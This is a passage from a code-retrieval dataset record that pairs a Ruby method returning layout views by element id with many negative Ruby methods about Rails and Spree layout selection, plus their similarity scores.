options.symbolize_keys) #query.repository.adapter.options.symbolize_keys)\n model.layout\n end", "def layout\n return false unless layouts = controller.ancestral_trait[:layout]\n\n possible = [layouts[path], layouts[:all]].compact\n denied = layouts[:deny].to_a\n\n if layout = possible.first\n if layout.to_s !~ /\\A\\// # late bind layout action to current controller\n layout = R(controller, layout)\n end\n layout_action = Controller.resolve(layout)\n\n return false if denied.any?{|deny| deny === path} or layout_action.path == path\n\n if layout_action.controller != controller\n instance.instance_variables.each do |x|\n if layout_action.instance.instance_variable_defined?(x)\n Log.warn \"overwriting instance variable #{x} from layout controller with instance variable from action controller.\"\n end\n layout_action.instance.instance_variable_set(x, instance.instance_variable_get(x))\n end\n else\n layout_action.binding = binding\n layout_action.controller = controller\n layout_action.instance = instance\n end\n\n layout_action.path = nil\n layout_action\n end\n end", "def get_layout\n ActiveSupport::Deprecation.warn(<<-DEPRECATION, caller)\n ControllerHelpers::Common is deprecated and will be removed in Spree 5.0.\n DEPRECATION\n return unless defined?(Spree::Frontend)\n\n layout ||= Spree::Frontend::Config[:layout]\n end", "def layer\n self.view\n end", "def page_layout\n @user = User.current\n @blocks = @user.pref.my_page_layout\n end", "def layout; end", "def fetch_layout_path(given_layout, layouts_path=views)\n layout_name = (given_layout || @layout || :application).to_s\n cache_layout_path(layout_name) do\n if layouts_path.is_a?(Array)\n layouts_path.each{ |layout_path| return layout_name if Dir[\"#{layout_path}/#{layout_name}.*\"].any?}\n elsif Pathname.new(layout_name).absolute? && Dir[\"#{layout_name}.*\"].any? || Dir[\"#{layouts_path}/#{layout_name}.*\"].any?\n layout_name\n else\n File.join('layouts', layout_name)\n end\n end\n end", "def dynamic_layout\n # ALL THIS SUCKS, I KNOW..\n \n # No layout for AJAX calls\n @layout = if request.xhr? \n nil\n # dialog param = lightview popup\n elsif params[:dialog]\n 'dialog'\n # uses user 'role' name for layout ... bad\n elsif current_user && !current_user.role.nil?\n current_user.role.downcase\n # no user, check for 'about' action\n elsif controller_name == 'about'\n 'about'\n # none of the above, use Rails default\n else\n 'home'\n end\n return nil unless @layout\n \n Rails.logger.debug \"Dyamic layout = #{@layout}\"\n # Layouts further divided by site subdomain: www vs vault\n if current_subdomain == 'vault'\n # Then public vs logged in...ugh\n if current_user\n @layout = 'vault/private/' + @layout\n else\n @layout = 'vault/public/' + @layout\n end\n end\n @layout\n end", "def layout_by_resource\n if user_signed_in?\n # \"admin\"\n #else\n \"application\"\n end\n end", "def resolve_layout\n\t case action_name\n\t when 'index'\n\t \t'blank'\n\t else\n\t 'application'\n\t end\n\t end", "def last_screen\n # print \"last_screen: \" + id.to_s + \" - \" + title + \"\\n\"\n return children.all(:order => :position).last.last_screen if has_children?\n parent_last_screen\n end" ]
[ "0.73148465", "0.70989007", "0.65639526", "0.6493659", "0.6479423", "0.6402021", "0.6356232", "0.63348323", "0.62675834", "0.6239946", "0.6193393", "0.6181329", "0.61765033", "0.61596245", "0.61401516", "0.61368835", "0.6056468", "0.60201174", "0.59620094", "0.594193", "0.5855394", "0.5850012", "0.584096", "0.58093303", "0.5808981", "0.57931405", "0.57848245", "0.5784211", "0.57457024", "0.5739904", "0.5738064", "0.5713236", "0.5701076", "0.56707805", "0.5609837", "0.5598956", "0.5592961", "0.5547068", "0.5515177", "0.54784375", "0.54783064", "0.5477905", "0.5464881", "0.54575366", "0.5429643", "0.54294115", "0.54243565", "0.5420785", "0.5402234", "0.53643996", "0.53637207", "0.5352789", "0.5308011", "0.5277315", "0.5242451", "0.5210786", "0.52103776", "0.52103776", "0.51950747", "0.5186964", "0.51869386", "0.5164594", "0.5154111", "0.5146243", "0.5139249", "0.5133572", "0.51259214", "0.5120044", "0.5112687", "0.5112575", "0.5110981", "0.5108345", "0.51030374", "0.5101533", "0.5096918", "0.5094712", "0.50916463", "0.5081175", "0.50804913", "0.5056146", "0.50557697", "0.5029069", "0.5022321", "0.50217205", "0.50175256", "0.50160056", "0.501344", "0.5010704", "0.50065637", "0.49994746", "0.4985474", "0.49778864", "0.49737468", "0.49733388", "0.49618006", "0.49566472", "0.49530318", "0.4946348", "0.49454778", "0.49440086" ]
0.74260455
0
Returns all the elements with a given element_id
def all(element_id) unless is_parent_layout? return parent_layout.all(element_id) end @elements[element_id] || [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_element id\n @elements[id.to_s]\n end", "def element(id, params = {})\n get \"elements/#{id}\", {query: params}\n end", "def find_all_by_id(id)\n find_all_by(:id, id)\n end", "def element_by_id(elem_id)\r\n @web_browser.element_by_id(elem_id)\r\n end", "def element_by_id(elem_id)\n @web_browser.element_by_id(elem_id)\n end", "def get_elements(xpath); end", "def els(element_name)\n element_reader = get_locator(element_name)\n begin\n if element_reader.length > 0\n element_reader.each do |k,v|\n if(k=='class' || k=='css' || k=='id' || k=='xpath' || k=='partial_link_text' || k=='tag_name')\n begin\n $elems = $driver.find_elements(k.to_sym,v.to_s)\n $LOG.info \"Elements found \\n #{element_name} : #{k} => #{v}\"\n rescue Exception => e\n $LOG.error \"Element not found \"\n $LOG.error \"#{element_name} : #{k} => #{v}\"\n $LOG.error \"Error message :: \" + e.message\n raise \"Element not found \\n #{element_name} : #{k} => #{v} \\n Error Message :: \" + e.message\n end\n $elems\n end\n end\n else\n $LOG.error \"Element not present in object repository\"\n raise \"Element not present in object repository\"\n end\n $elems\n rescue Exception => e\n $LOG.error \"Error in finding the element :: \" + e.message\n raise \"Error in finding the element :: \" + e.message\n end\n end", "def find_elements(element_name, response)\n response.body.xpath(\".//x:#{element_name}\", 'x' => response.body.namespace.href)\n end", "def elements(selector)\n @doc.search(selector)\n end", "def ids(id)\n # Android auto resolves strings.xml ids\n find_elements :id, id\n end", "def find(id)\n all.find { |obj| obj.id == id }\n end", "def elements\n find_by_tag('*')\n end", "def find_all(*args)\n element.all(*args)\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find_by_id(item)\n @driver.find_element(:id, item)\n end", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def search_by_id(id)\n @data.each do |item|\n return item if item.id == id\n end\n\n nil\n end", "def search(xpath)\n return self.each_element( xpath ){}\n end", "def whereused(element_key, options = {})\n parameter = { query: options }\n parameter[:basic_auth] = @auth\n\n response = self.class.get(\"/elements/#{element_key}/whereused\", parameter)\n if response.success?\n searchResponseHeader = SearchResponseHeader.new(response)\n return searchResponseHeader.elementList\n end\n end", "def find_element_by_id(id)\n (e = @doc.at_css(\"##{id}\")) && NodeProxy.new(e)\n end", "def find_id id\n wait { find_element(:id, id) }\nend", "def new_element(element_id)\n e = [element_id]\n DATA_ELEMENTS.times do\n e.push -999 # Ignore\n end\n return e\n end", "def find_by_id(id)\n filtered_set(entities, key: 'id', value: id)\n end", "def elements_by_xpath(xpath)\r\n element = Element.new(nil, self)\r\n elem_names = element.elements_by_xpath(self, xpath)\r\n a = elem_names.inject([]) {|elements,name| elements << element_factory(name)}\r\n end", "def list_elements(path)\n return @element_list\n end", "def elements_by_xpath(value)\n find_by_xpath(value)\n end", "def isOnlyElem(ids, oapID)\n elemID = nil\n ids.each { |scheme, id| scheme == \"elements\" and elemID = id }\n #elemID or puts(\"skipping due to no elements\")\n elemID or return false\n existingPubID = db_get_first_value(\"SELECT pub_id FROM pubs WHERE oap_id = ?\", oapID)\n #puts(\"skipping due to existing pub\") if existingPubID\n existingPubID and return false\n return true\nend", "def list_item_elements(identifier)\n platform.list_items_for(identifier.clone)\n end", "def id_elements(*element_names)\n options = element_names.extract_options!\n\n patterned_elements \"\\#%{element_name}\", *element_names, options.slice(:element_array)\n end", "def getElementByAttribute(elementFindBy,elementIdentity,attributeName,attributeValue)\n puts \"in getElementByAttribute\"\n elements = @driver.find_elements(elementFindBy, elementIdentity)\n elements.each do |element|\n if element.attribute(attributeName) != nil then\n if element.attribute(attributeName).include? attributeValue then\n return element\n break\n end\n end\n end\n end", "def get_first_contained_element phemaObj\n @id_element_map.find { |key, val| val[\"id\"] == phemaObj[\"containedElements\"][0][\"id\"] } if phemaObj[\"containedElements\"] && phemaObj[\"containedElements\"].length > 0\n end", "def find_all_by_id(id)\n merchants.select {|merchant| merchant.id == id}\n end", "def find_elements(locator)\n driver.find_elements(locator)\n end", "def fetch_element(key)\n return @completed_elements.detect do |el|\n el.first.html_attribute_name == key || el.first.name == key\n end\n end", "def find_element(id, model)\n case model.downcase\n when 'work'\n return Work.find(id)\n when 'basicfile'\n return BasicFile.find(id)\n when 'singlefileinstance'\n return SingleFileInstance.find(id)\n when 'orderedinstance'\n return OrderedInstance.find(id)\n when 'person'\n return AuthorityMetadataUnit.find(id)\n else\n raise 'Unknown element type'\n end\n end", "def div_by_id(id_name)\n return @browser.div(:id, id_name)\nend", "def filter_by_id( id )\n\t\tif @cache_for_id.include?( id )\n\t\t\tyield( @cache[@cache_for_id[ id ]] )\n\t\t\t@updated = true\n\t\telse\n\t\t\tret = Array.new()\n\t\t\t@cache_for_id.each_pair do |k,v|\n\t\t\t\tif k.index( id ) == 0\n\t\t\t\t\tyield( @cache[ v ] )\n\t\t\t\t\t@updated = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tsave\n\tend", "def find_elements(by, locator)\n element.find_elements(by, locator)\n end", "def element_set\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.element_set : []\n end", "def find_ids(ids)\n ids.inject([]) { |x, id| x << all.find { |y| y.id == id }}\n end", "def elements\n # execute query\n ordered_objects.compact.uniq\n end", "def find(id)\n each_descendant(false).detect {|op| op.id == id}\n end", "def get_by_id(class_name, id)\n @data = get_all()\n for item in @data[class_name]\n if item[\"id\"] == id\n return item\n end\n end\n raise \"#{class_name} id #{id} not found.\"\n end", "def find(id)\n @entries_by_id[id]\n end", "def find_item_by_id(id)\n\n @items.each do |item|\n return item if item.item_id == id\n end\n return nil\n end", "def row_for_id(id)\n rows_for_ids(id)\n end", "def element_content(element_id, id, params = {})\n content(Voog::API::Contents::ParentKind::Element, element_id, id, params)\n end", "def source_find_by_id_and_tag(source, id, tag, timeout=nil)\r\n timeout = normalize_timeout(timeout)\r\n\r\n for i in 1..timeout\r\n begin\r\n element = source.find_by_id(id)\r\n if element.tag_name() == tag\r\n return element\r\n end\r\n rescue\r\n end\r\n\r\n sleep(1)\r\n end\r\n\r\n raise \"Did not find element \\\"\" + id + \"\\\"\"\r\n end", "def element_contents(id, params = {})\n contents(Voog::API::Contents::ParentKind::Element, id, params)\n end", "def unitid_node_set(nokogiri_element)\n nokogiri_element.xpath(XPATH[:unitid])\n end", "def retrieve_elements(filter)\n elements_array = Array.new\n\n if NOKOGIRI\n @xml.xpath(filter.to_s).each { |pelem|\n elements_array << pelem.text if pelem.text\n }\n else\n @xml.elements.each(filter.to_s) { |pelem|\n elements_array << pelem.text if pelem.text\n }\n end\n\n if elements_array.size == 0\n return nil\n else\n return elements_array\n end\n\n end", "def query_selector_all(node_id:, selector:)\n {\n method: \"DOM.querySelectorAll\",\n params: { nodeId: node_id, selector: selector }.compact\n }\n end", "def select_by_id(id_name)\n @browser.select_list(:id, id_name)\nend", "def get_elements(locator, base_element = nil)\n (base_element ? base_element : @browser).find_elements(locator)\n end", "def get_entries_of(habit_id)\n entries.where(habit_id: habit_id)\n end", "def find(id)\n parameters[:data_ids] = [id]\n all.first\n end", "def find_locally(id)\n if @all.present?\n @all.find { |model| model.id == id }\n end\n end", "def create_get_all_elements(element_name, *find_args)\n method_name = \"get_all_#{element_name}\"\n create_helper_method(method_name, *find_args) do\n define_method(method_name) do |*runtime_args|\n args = merge_args(find_args, runtime_args)\n wait_until_get_not_empty(*args)\n end\n end\n end", "def elements(); @records.get(Elements); end", "def do_id_query(ids)\n responses = []\n ids.each do |k, v|\n new_key_value = map_key(k, v)\n next if new_key_value.blank? #we probably have bad ISBN, could be bad key though\n responses << get_thing(new_key_value)\n end\n selected = responses.map { |r| r['result'] }.flatten.compact.uniq\n return selected\n end", "def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end", "def elements(name, *find_args)\n build_elements(name, *find_args) do\n define_method(name) do |*runtime_args, &block|\n raise_if_block(self, name, !block.nil?, :elements)\n _all(*merge_args(find_args, runtime_args))\n end\n\n create_get_element_params(name, find_args)\n end\n end", "def get!(id)\n klass.find(:all, params: { id: wrap_key(id) })\n end", "def getObject(id)\n\t\tdoc.search(\"[@id='#{id}']\").first\n\tend", "def find(id)\n end", "def project(id)\n @xml.search(\"object[@id='#{id}']\")\n end", "def find(id)\n first(\"Id = '#{id}'\")\n end", "def element_ids\n chain_route :element_type => :object, :pipe_class => Pacer::Pipes::IdPipe\n end", "def element_ids\n chain_route :element_type => :object, :pipe_class => Pacer::Pipes::IdPipe\n end", "def find_elements(*args)\n how, what = extract_args(args)\n by = _set_by_from_finders(how)\n begin\n bridge.find_elements_by by, what.to_s, ref\n rescue Selenium::WebDriver::Error::TimeoutError\n []\n end\n end", "def find(id)\n find_result\n end", "def find(id)\n # Your code Here\n @candidates.each do |element|\n \tif element[:id] == id\n \t\tpp element\n \tend\n end\n pp nil\n\nend", "def index\n @elements = Element.all\n end", "def fetch_active_items_of(account_id)\n fetch_items_of(account_id.to_i).select {|s| s.is_active? }\n end", "def search(xpath)\n xpath = \".#{xpath}\" if !self.is_a?(REXML::Document) and xpath =~ /^\\//\n ret = REXML::XPath.match(self,xpath).map{|elm|\n elm.extend(ElementHelper)\n elm\n block_given? ? (yield elm) : elm\n }\n end", "def get_element_by_xpath(xpath)\n\t\t# restituisco l'elemento corrispondente - nota: a priori un xpath non è univoco, per questo\n\t\t# in realtà blocco[] è un array di risultati\n\t\t@doc.xpath(xpath)\n\tend", "def find(id)\n all_lists.select{ |list| list.id == id }.first\n end", "def index\n tipo_elemento_id = params[:tipo_elemento_id]\n @elementos = Elemento.where(:tipo_elemento_id => tipo_elemento_id).search(params[:search], params[:page])\n end", "def fetch_items_of(account_id)\n fail \"No account with id #{account_id}\" unless DAOAccount.instance.account_exists?(account_id)\n @items.values.select {|item| item.owner.id == account_id}\n end", "def element_path(id)\n if (self.primary_key.is_a?(Array))\n key_selects = Array.new\n primary_key.each do |key|\n f_id = id.shift\n f_id = f_id.is_a?(String) ? \"\\\"\" + f_id + \"\\\"\" : f_id.to_s\n key_selects << key.to_s + \"=\" + f_id\n end\n return self.element_name + \".\" + key_selects.join(\",\")\n else\n f_id = id.is_a?(String) ? \"\\\"\" + id + \"\\\"\" : id.to_s\n return self.element_name.to_s + \".\" + self.primary_key.to_s + \"=\" + f_id\n end\n end", "def get_elements(path)\n elements = self./(path)\n return unless elements\n elements = elements.map{|element| Element.new(element)}\n end", "def get_interests_by_id\n return filter_by_id(get_interests)\n end", "def elements\n return @elements\n end", "def el(element_name)\n $LOG.info \"fetching the element #{element_name}\"\n element_reader = get_locator(element_name)\n begin\n if element_reader.length > 0\n element_reader.each do |k,v|\n if(k=='class' || k=='css' || k=='id' || k=='xpath' || k=='partial_link_text' || k=='tag_name')\n begin\n $elem = $driver.find_element(k.to_sym,v.to_s)\n $LOG.info \"Element found \\n #{element_name} : #{k} => #{v}\"\n rescue Exception => e\n $LOG.error \"Element not found \"\n $LOG.error \"#{element_name} : #{k} => #{v}\"\n $LOG.error \"Error message :: \" + e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n e.attach_file(\"test_file\", \"log/webscreenshot/webScreenshot.png\", true )\n raise \"Element not found \\n #{element_name} : #{k} => #{v} \\n Error Message :: \" + e.message\n end\n $elem\n end\n end\n else\n $LOG.error \"Element not present in object repository\"\n raise \"Element not present in object repository\"\n end\n $elem\n rescue Exception => e\n $LOG.error \"Error in finding the element :: \" + e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"Error in finding the element :: \" + e.message\n end\n end", "def set_element\n @element = @article.elements.find(params[:id])\n end", "def get_elements(path)\n elements = self./(path)\n return nil unless elements\n elements = elements.map{|element| Element.new(element)}\n end", "def get_events_from_id_array(id_arr)\n return [] if id_arr.empty?\n \n elist = []\n begin\n elist = Event.find(id_arr)\n rescue ActiveRecord::RecordNotFound => e\n logger.warn(e.message)\n logger.info(\"Getting events one by one\")\n elist = id_arr.map do |id|\n begin\n Event.find(id)\n rescue ActiveRecord::RecordNotFound\n # Ignore\n end\n end\n end\n return elist.compact\n end", "def get_events_from_id_array(id_arr)\n return [] if id_arr.empty?\n \n elist = []\n begin\n elist = Event.find(id_arr)\n rescue ActiveRecord::RecordNotFound => e\n logger.warn(e.message)\n logger.info(\"Getting events one by one\")\n elist = id_arr.map do |id|\n begin\n Event.find(id)\n rescue ActiveRecord::RecordNotFound\n # Ignore\n end\n end\n end\n return elist.compact\n end", "def id(id)\n #::Hero.find_by_id(id)\n ::Item.where(id: id)\n end", "def find_by_id(id)\n find_by(:id, id)\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def set_element\n @element = Element.find(params[:id])\n end", "def find_by_ids(ids)\n rows = data_store.get(ids)\n results = []\n rows = [] << rows unless rows.instance_of?(Array)\n\n rows.each do |row|\n results << _deserialize(row[:key], row[:data])\n end\n\n results\n end", "def select_all_article_info_id(article_id)\n return get_db_as_hash().execute(\"SELECT * FROM article WHERE article_id = ?\", article_id).first\n end", "def find_by_id(id)\n find(id)\n end", "def extract_ids\n # no-op\n end" ]
[ "0.6787612", "0.6639251", "0.65340084", "0.6308503", "0.62612784", "0.61858505", "0.6075681", "0.60415745", "0.59866464", "0.59804946", "0.5970512", "0.5881137", "0.5876568", "0.5869331", "0.58307356", "0.58008057", "0.5800154", "0.5800154", "0.57604736", "0.57374907", "0.57163095", "0.56563234", "0.5636573", "0.5630516", "0.5605517", "0.5522783", "0.55191964", "0.55020094", "0.54894304", "0.5486001", "0.5483012", "0.5480657", "0.54707396", "0.54624045", "0.5459586", "0.5436763", "0.5420668", "0.5407671", "0.53996927", "0.5380394", "0.53700584", "0.53616947", "0.5357501", "0.53570336", "0.535417", "0.53303057", "0.53292435", "0.5328887", "0.53270733", "0.5326369", "0.5325284", "0.5318474", "0.5311684", "0.53108215", "0.53074193", "0.5301061", "0.5294788", "0.5261924", "0.52583927", "0.5254426", "0.5251554", "0.52505064", "0.5245749", "0.52284336", "0.5224109", "0.5214868", "0.5212565", "0.52069366", "0.51847696", "0.5183152", "0.5183152", "0.51529574", "0.51442695", "0.51440185", "0.51375556", "0.51341766", "0.51312023", "0.51265436", "0.5125358", "0.5116136", "0.5097335", "0.5091823", "0.5085152", "0.5078854", "0.50787693", "0.5078593", "0.50755584", "0.50694513", "0.5065984", "0.5065984", "0.506483", "0.50633264", "0.50611633", "0.50611633", "0.50611633", "0.50611633", "0.50600976", "0.5052646", "0.50414306", "0.5039775" ]
0.6994673
0
Just like `all`, but if `all` returns a Layout, this method returns the layout's view.
def all_views(element_id) element = all(element_id) if element.is_a?(Layout) element = element.view end element end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def find\n self.class.find(@view.layout)\n end", "def layout\n lookup_layout\n end", "def layout\n self.class.layout || @app.layout\n end", "def layout\n @layout\n end", "def layout \n return @layout\n end", "def _layout_for(name = nil)\n name ||= :layout\n view_flow.get(name).html_safe\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def layout\n nil\n end", "def layout_name\n controller = @tracker.controllers[@current_class]\n\n return controller[:layout] if controller[:layout]\n return false if controller[:layout] == false\n\n app_controller = @tracker.controllers[:ApplicationController]\n\n return app_controller[:layout] if app_controller and app_controller[:layout]\n\n nil\n end", "def layout\n nil\n end", "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def current_layout\n config = PSDK_CONFIG.layout.choices\n return config[$scene.class.to_s] || config[:any]\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def get_layout\n layout ||= Spree::Config[:layout]\n end", "def layout\n properties[:layout]\n end", "def current_layout\n controller.send :_layout # private method\n end", "def layout(&block)\n layout = Layout.new\n layout.instance_eval(&block)\n # return the layout descriptor\n layout\n end", "def find_layout\n return nil if @model.nil?\n layout_name = @special_layout[@model] || @model.to_s.tableize + ' (table)'\n if (layout = layout_or_nil(layout_name))\n LOG.info(\"\\n==== Model: #{@model.to_s} <- Layout: #{layout.name} ====\")\n return layout\n else \n LOG.warn \"WARNING: Layout \\\"#{layout_name}\\\" does not exist.\"\n return nil\n end\n end", "def get_layout(layout)\n logger.debug( [ 'layout', \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\" ] )\n \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\"\n end", "def layout_contents\n layout.render(self)\n end", "def current_layout\n @site_layout ||= SiteLayout.first\n end", "def current_layout\n config = PSDK_CONFIG.layout.messages\n return config[$scene.class.to_s] || config[:any]\n end", "def get_layout\n layout ||= Spree::Frontend::Config[:layout]\n end", "def default_layout\n nil\n end", "def layout_or_nil(layout_name)\n begin\n if (layout = Rfm.layout(layout_name)).table then layout; end\n rescue nil\n end\n end", "def get_layout_from_params\n params[:layout] ? params[:layout] : 'application' \n end", "def [](layout_name)\n layouts[layout_name]\n end", "def layout(value = nil)\n if value.nil?\n @layout ||= nil\n @_layout ||= Rendering::LayoutFinder.find(@layout || configuration.layout, configuration.namespace)\n elsif !value\n @layout = Hanami::View::Rendering::NullLayout\n else\n @layout = value\n end\n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def layout(value = nil)\n if value\n @layout = value\n else\n @layout\n end\n end", "def layout\n return false unless layouts = controller.ancestral_trait[:layout]\n\n possible = [layouts[path], layouts[:all]].compact\n denied = layouts[:deny].to_a\n\n if layout = possible.first\n if layout.to_s !~ /\\A\\// # late bind layout action to current controller\n layout = R(controller, layout)\n end\n layout_action = Controller.resolve(layout)\n\n return false if denied.any?{|deny| deny === path} or layout_action.path == path\n\n if layout_action.controller != controller\n instance.instance_variables.each do |x|\n if layout_action.instance.instance_variable_defined?(x)\n Log.warn \"overwriting instance variable #{x} from layout controller with instance variable from action controller.\"\n end\n layout_action.instance.instance_variable_set(x, instance.instance_variable_get(x))\n end\n else\n layout_action.binding = binding\n layout_action.controller = controller\n layout_action.instance = instance\n end\n\n layout_action.path = nil\n layout_action\n end\n end", "def default_layout_for_request\n return params[:__layout] if params[:__layout]\n return params[:layout] if params[:layout]\n 'application'\n end", "def get_search_layout(layout)\n get_user_search_layout(layout) ||\n get_system_search_layout(layout) ||\n nil\n end", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def layout\n\n raise \"Missing bulletin for layout object!\" if (! self.bulletin)\n \n raise \"Missing layout style/name for layout object!\" if (! self.name)\n\n # assume everything prepared if this is already set (caching!)\n return @layout if (@layout)\n\n # Load layout from the database\n while (! @layout)\n @layout = TempletLayout.find(:first, \n :conditions => ['templet_id = ? AND name = ?', self.bulletin.templet_id, self.name ])\n if !@layout and self.name == 'print'\n # set to main, if print layout not found\n self.name = 'main'\n elsif not @layout\n raise \"Invalid layout selected!\" if (! @layout) \n end\n end\n \n \n # copy the details accross for the layout\n self.filetype = @layout.filetype\n self.charset = @layout.charset\n \n return @layout\n end", "def lookup_layout\n return \"{{{content}}}\" if metadata.key?('layout') && !metadata['layout']\n\n name = metadata['layout'] || 'page'\n name = name + '.mustache' unless name.end_with?('.mustache')\n\n path = ::File.join('_layouts', name)\n dir = ::File.join(wiki.path, ::File.dirname(file.path))\n\n layout_file = lookup_path(path, dir)\n\n if layout_file\n IO.read(layout_file)\n else\n default_layout\n end\n end", "def layout()\n layout_children()\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def layout(name=:layout, &b)\n template(name, &b)\n end", "def layout; end", "def get_layout\n\tlogged_in? and :page_user or :page_visitor\nend", "def resolve_layout\n case action_name\n when 'index'\n 'dashboard'\n else\n 'application'\n end\n end", "def layout(method = nil)\n @layout = method || @layout\n end", "def layout layout = nil, *actions\n if (layout || layout == false) && configurable?\n @layouts ||= Hash.new\n layout = layout.to_s unless layout == false\n if actions.size == 0\n actions = ['*']\n @master_layout = layout\n end\n actions.each { |a| @layouts[a] = layout }\n end\n @setup[:layouts] ||= @layouts ||\n (@controller.ctrl.slice.view.layout if @controller) || {}\n end", "def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end", "def determine_layout\n return @__layout if @__layout\n return false if params[:_no_layout] || request.xhr?\n\n @__layout ||= current_page.layout.try(:template) if current_page.present? \n @__layout ||= 'application/default'\n @__layout\n end", "def determine_layout\n ['show'].include?(action_name) ? 'application' : nil \n end", "def layouts\n @layouts || site.layouts\n end", "def determine_layout\n 'akinu'\n end", "def controller_layout\n layout = self.send(:_layout)\n if layout.instance_of? String\n layout\n else\n File.basename(layout.identifier).split('.').first\n end\n end", "def page_layout\n @user = User.current\n @blocks = @user.pref.my_page_layout\n end", "def default_layout\n 'default' if html?\n end", "def choose_layout\n Rails.configuration.blog.layout\n end", "def admin_layout \n @admin_layout\n end", "def view_class_name\n view_class_components.join('_').camelize.sub(/^Layouts/, '')\n end", "def resolve_layout\n case action_name\n when \"create\", \"new\", \"index\"\n \"useraccount_layout\"\n else\n \"application\"\n end\n end", "def layouts; end", "def layouts; end", "def get_layout\n ActiveSupport::Deprecation.warn(<<-DEPRECATION, caller)\n ControllerHelpers::Common is deprecated and will be removed in Spree 5.0.\n DEPRECATION\n return unless defined?(Spree::Frontend)\n\n layout ||= Spree::Frontend::Config[:layout]\n end", "def layout_for(area = :reader)\n default = Radiant::Config[\"#{area}.layout\"]\n name = if self.respond_to?(\"#{area}_layout\") && layout = self.send(\"#{area}_layout\".intern)\n layout.name\n elsif layout = Layout.find_by_name(default)\n layout.name\n elsif layout = self.reader_layout\n layout.name\n end\n name\n end", "def static_layout\n nil\n end", "def default_layout\n site.config.page_layout\n end", "def layout(name=:layout, &block)\n return super(name, &block) if block_given?\n @_layout = name\n end", "def resolve_layout\n\t case action_name\n\t when 'index'\n\t \t'blank'\n\t else\n\t 'application'\n\t end\n\t end", "def get_layout\n layout ||= Amz::Config[:layout] \n layout = Amz::Config[:amp_layout] \n # layout = Amz::Config[:mobile_layout] if browser.mobile?\n # layout = Amz::Config[:tablet_layout] if browser.tablet?\n layout\n end", "def layout_class val = nil\n @layout_class = val if val\n @layout_class\n end", "def _layout_for_name(name)\n unless [String, FalseClass, NilClass].include?(name.class)\n raise ArgumentError, \"String, false, or nil expected; you passed #{name.inspect}\"\n end\n\n name && view_paths.find_by_parts(name, {:formats => formats}, \"layouts\")\n end", "def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def layouts\n @layouts ||= Subdomain.new.layouts\n end", "def getLayoutData\n @layoutData\n end", "def find_layout(name, wish)\n return unless layout = ancestral_trait[:layout]\n return unless layout = layout.call(name, wish) if layout.respond_to?(:call)\n\n if found = to_layout(layout, wish)\n [:layout, found]\n elsif found = find_view(layout, wish)\n [:view, found]\n elsif found = find_method(layout, [])\n [:method, found]\n end\n end", "def find_template(views, name, engine, &block)\n\t\t \t#normal\n\t\t super(views, name, engine, &block)\n\t\t #_layout folder\n\t\t super(Paths.layout_path, name.to_s, engine, &block)\n\t\t end", "def layout(layout)\n self._layout = layout\n end", "def set_layout\n if %w( print plain ).include? params[:layout]\n params[:layout]\n else\n 'default'\n end\n end", "def determine_layout\n case action_name\n when \"new\"\n \"hero\"\n when \"create\"\n \"hero\"\n when \"edit\"\n \"dashboard\"\n when \"update\"\n \"dashboard\"\n end\n end", "def find_layout\n raise 'This is a generic store. Please use a subclass.'\n end", "def layout_for_page\n if params[:layout] == 'none' || params[:layout] == 'false'\n false\n else\n params[:layout] || 'application'\n end\n end", "def render_layout(layout, **kwargs, &block)\n render html: capture(&block), layout: \"layouts/#{layout}\", **kwargs\n end", "def choose_layout\r\n return nil if action_name=='show'\r\n return 'usercenter' if action_name=='index' || action_name=='new'\r\n return 'public'\r\n end", "def get_page_layout(params)\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def choose_layout \n if [ 'index', 